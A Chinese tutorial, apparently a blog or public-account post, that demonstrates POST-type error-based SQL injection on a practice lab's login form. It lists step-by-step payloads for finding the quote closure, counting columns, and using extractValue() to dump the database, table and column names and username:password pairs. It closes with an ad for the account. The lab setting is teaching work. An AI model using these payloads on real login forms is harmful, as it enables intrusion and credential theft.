鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:报错注入(POST型)
PS:POST型与GET型注入流程相同,只是提交方式不同。如果有不理解的地方,建议回看GET型注入。
POST型报错注入
前面已经用过报错注入(extractValue()
、updateXML()
、floor()
),用法相同,只是提交方式不同。如果忘记,可以参考前面的内容。下面以extractValue()
报错注入为演示,其他两种报错注入同理。
案例演示
使用靶场第13节
1. 靶场分析
当输入用户名和密码后,点击提交。页面显示登录成功,但是页面中没有显示任何内容。
可以推测是否为报错注入或盲注。
在用户名框中输入:andmin' or 1=1
,页面中出现报错信息,报错注入的可能性增大
分析一下报错信息:near '') and password=('') LIMIT 0,1'
- 可以看到
'')
,第一个单引号是admin
后面我们输入的单引号,第二个单引号和右括号是闭合方式(')
) - 而且从
password=('')
中同样可以得出使用('')
进行闭合
2. 判断注入类型与闭合方式
上面的分析,可以得出,是字符型注入且闭合方式为')
。
注入类型和闭合方式的判断相对不是那么固定,慢慢积累经验即可。
3. 判断列数
参数:uname=andmin') order by 3 #&passwd=admin&Submit=Submit
,页面报错,说明列数小于3
参数:uname=andmin') order by 2 #&passwd=admin&Submit=Submit
,页面未报错,说明列数等于2
4. 查询数据库名称
参数:uname=andmin') union select 1,extractValue(1,concat('^',(select database()))) #&passwd=admin&Submit=Submit
5. 查询表名
参数:uname=andmin') union select 1,extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=(database())))) #&passwd=admin&Submit=Submit
6. 查询列名
参数:uname=andmin') union select 1,extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name='users'))) #&passwd=admin&Submit=Submit
7. 查询数据
报错注入存在字符长度显示问题。因此使用substr()
进行查询
查询前30个字符的数据:uname=andmin') union select 1,extractValue(1,concat('^',(select substr(group_concat(username,':',password),1,30) from users))) #&passwd=admin&Submit=Submit
查询第31~60个字符的数据:uname=andmin') union select 1,extractValue(1,concat('^',(select substr(group_concat(username,':',password),31,60) from users))) #&passwd=admin&Submit=Submit
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!